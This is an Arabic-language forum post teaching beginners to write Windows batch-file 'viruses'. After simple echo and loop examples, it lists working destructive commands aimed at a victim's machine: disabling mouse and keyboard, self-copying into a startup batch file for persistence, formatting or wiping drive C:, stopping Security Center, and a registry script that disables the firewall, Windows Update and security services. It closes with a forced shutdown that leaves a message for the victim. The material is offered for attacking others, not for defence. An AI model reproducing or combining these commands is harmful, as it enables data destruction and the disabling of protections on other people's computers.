منتدى المبرمج المغربي.من مدينة بوجنيبة

هل تريد التفاعل مع هذه المساهمة؟ كل ما عليك هو إنشاء حساب جديد ببضع خطوات أو تسجيل الدخول للمتابعة.
منتدى المبرمج المغربي.من مدينة بوجنيبة

منتدى لكل العرب ..

مرحبا في منتدى المبرمج المغربي هذا المنتدى من اعداد المدير العام محسن خلفادير.هذا المنتدى منتدى عام .وهو مغربي .مرحبا بكل العرب في منتدانا الغالي

    اساسيات صنع Batch Virus للمبتدئين والمتوسطين

    big hacker
    big hacker


    عدد المساهمات : 21
    تاريخ التسجيل : 08/09/2009

    اساسيات صنع Batch Virus للمبتدئين والمتوسطين Empty اساسيات صنع Batch Virus للمبتدئين والمتوسطين

    مُساهمة  big hacker الأربعاء سبتمبر 16, 2009 8:38 am

    بسم الله الرحمن الرحيم
    اولا وقبل كل شئ احب ان اخبر محبي اختراق الاجهزة عن شئ قد لا يتفق معي فيه الاغلبية الا وهوكلمة *محترف* اختراق اجهزة هذه الكلمة التي اصبح كل من شفر له سيرفرا او اخترق شخصا سما نفسه بها اقول له هنا اتحداك ان تكون محترفا .
    كيف تكون محترفا وانت لاتعرف حتى اللغة التي كتب بها برنامج الاختراق الذي تستعمله كمستهلك وليس كمنتج.
    كيف تكون محترفا وانت لم تفكر حتى في تعلم تلك اللغة التي كتب بها البرنامج الذي تستعمله كمستهلك وليس كمنتج.
    كيف تكون محترفا وانت اصلا تقراْ موضوعي لانه موجه بالخصوص للمبتدئين والمتوسطين
    ..ولازالت كيف وكيف وكيف تساْل عنك اذا كيف تكون محترفا اجبني ؟
    وبعد هذا الاهداء البسيط *لمحترفي* اختراق الاجهزة ها نحن نتوكل على الله لنبداء موضوعنا الاساسي الذي سيتضمن كيفية صنع فايروس او بالاحرى اساسيات صنع فايروس.

    المهم الادوات التي سنحتاجها موجودة وهي:
    -Notepad
    -جهاز تجارب ^^
    ومن المعروف ان هناك ما يسمى Batch
    وهنا ستجد شرحه http://www.webopedia.com/TERM/B/batch_file.html
    وهناك الفايروس Virus
    الفايرس يمكن ان يكون برنامج او مجموعة اوامر تخترق جهازك من غير علمك. والمعروف على الفايروس انه لذيه القدرة الكافية لخلق تواْم له بالنظام ونسخ نفسه متى شاء ذلك وقد يكون سليما همه الوحيد جمع المعلومات من الجهاز او النظام المخترق كما يمكن ان يكون قاتلا للاجهزة بحيث لايمكن اصلاحها بتاتا.
    اساسيات الطباعة :
    قم بكتابة هذا الامر في Notepad


    كود:
    @echo off
    echo Hello I’m writing my first batch fileاذا كما نلاحظ فالامر ينقسم لسطرين سنشرحهما بعد تطبيق تجربتنا

    الان احفظ الامر على هذا الشكل Untitled.bat مع تغيير كلمة Untitled لاْي شئ تحب.
    وبعد حفظه سيظهر لك على هذا الشكل



    الان اضغط عليه وشاهد الناتج نعم ستظهر لك شاشة الدوس وقد كتب فيها

    كود:
    Hello I’m writing my first batch fileلشرح السطرين

    السطر الاول: (echo off@)

    وظيفته انه يقوم بتحويلecho off اي انه لايتم عرضها في الشاشة وانما يعرض الشئ الذي اخترنا ظهوره في الشاشة فقط وفي حالتنا اخترنا Hello I’m writing my first batch file

    السطر الثاني : echo Hello I’m writing my first batch file


    وهو ايضا ينقسم الى قسمين وهما الامرechoالذي وظيفته هو طباعة الجمل التي نختارها لظهورها على الشاشة .
    والجملة التي ستظهر بعد تلقيها الامر echo.

    الربط بين الاوامر:
    قم بكتابة هذا الكود كالعادة في Notepad

    كود:
    @echo off
    :start
    echo hello
    goto next
    :next
    echo this text is in the ‘next’ section
    goto end
    :end
    echo and this code is in the ‘end’ sectionاحفظه مرة ثانية على شكل ملف .bat وافتحه في جهازك لتلاحظ ان الامر ظهر في شاشة الدوس على شكل تسلسلي اي بداْ بطباعة الكلمة hello في القطاع start ثم مر على القطاع next لينتهي مع القطاع end.
    لكن كيف تم ذلك وما هو الامر المسؤول عن هذا التنقل?
    بكل بساطة وكما هو واضح فالامر goto هو المسؤول عن هذا الربط بين القطاعات

    الحلقات المغلقة:

    ايه نعم سنقوم مرة ثانية وثالثة و رابعة بكتابة الكود وحفظه على شكل ملف.bat والظغط عيه لنرى الناتج

    كود:
    @echo off
    :loop
    echo I’m batch virus
    goto loopاذا الناتج سيظهر على الشكل التالي في شاشة الدوس وبدون توقف الى ان يعمل كراش للجهاز



    طبعا فيه بعض الاعضاء راح يساْلوني عن اللون يعني اللون بيطلع عندكم ابيض وتبون تغيرون اللون صح ولا لا

    طب عدلو على الامر كالتالي:

    كود:
    @echo off
    color 2
    :loop
    echo I’m a Batch Virus
    goto loopمع تغيير رقم color لاي رقم تريدون ليتغير اللون بشكل تلقائي

    المهم نعود لموضوعنا الاساسي مثل ما قلنا انه الحاصل راح يكون تكرار الجملة I’m a Batch Virus بدون توقف الى ان يحصل كراش للجهاز ;
    والسبب هو الامر goto مرة اخرى لكن هذه المرة بمساعدة العلامة loop: التي تعني حلقة اذا السر في هذه الحلقة هو الحلقة


    اعتقد بانه باستطاعتكم الان كتابة حلقة loop: اليس كذلك
    وهناك الاوامر If ; else ; elif :
    وطريقة تشغيل الفايرس مع startup وشغلات ثانية قوية يمكن نشرحها في موضوع ثاني طبعا بعدما نفهم هالموضوع ونقراه بتمعن


    الان جاء دور الاوامر المتوسطة القوة وساْقوم بكتابة امثلة عليها وشرح معناها



    هذا الكود يستعمل لاخفاء الفاْرة الى ان يتم عمل ريستارت للجهاز

    كود:
    rundll32 mouse,disableوهذا اخوه وهو خاص باْيقاف الكيبورد عن العمل

    كود:
    rundll32 keyboard,disableهذا واضح يعني تشغيل ضفحة معينة في جهاز الضحية

    كود:
    start www.vxx9.comهذا لنسخ نفسه في AutoRun لكي يصعب حذفه

    كود:
    COPY %0 %windir%WINSTART.BATبهذا فرمت c من غير ماتاخد الاذن

    كود:
    format c: /q /autotestهذا لتجميد الكمبيوتر الى ان يتم عمل ريستارت له

    كود:
    rundll32 user,disableoemlayerلايقاف الحماية في الجهاز

    كود:
    net stop "Security Center"لايقاف جدار الحماية وبداية الضرب

    كود:
    > "%Temp%.kill.reg" ECHO REGEDIT4
    >>"%Temp%.kill.reg" ECHO.
    >>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesS haredAccess]
    >>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
    >>"%Temp%.kill.reg" ECHO.
    >>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesw uauserv]
    >>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
    >>"%Temp%.kill.reg" ECHO.
    >>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMControlSet001Serviceswscsv c]
    >>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
    >>"%Temp%.kill.reg" ECHO.لحذف c

    كود:
    DEL /F /S /Q C:لعملPauses لمدة 20 ثانية مع امكانية تغيير 20 الى اي عدد محدد

    كود:
    @ping.exe 127.0.0.1 -n 20 -w 1000 > nulوهذا لايقاف الكمبيوتر مع ترك رسالة توديع للضحية قبل الايقاف

    كود:
    shutdown -s -t 10 -c "YOUR MESSAGE HERE" -fو ياريت الموضوع يعجبكم و بإنتظار الردوود ..






    منقــــــــــــــــــــــــــــــــــــــ,ــول

      الوقت/التاريخ الآن هو الأحد مايو 19, 2024 4:53 pm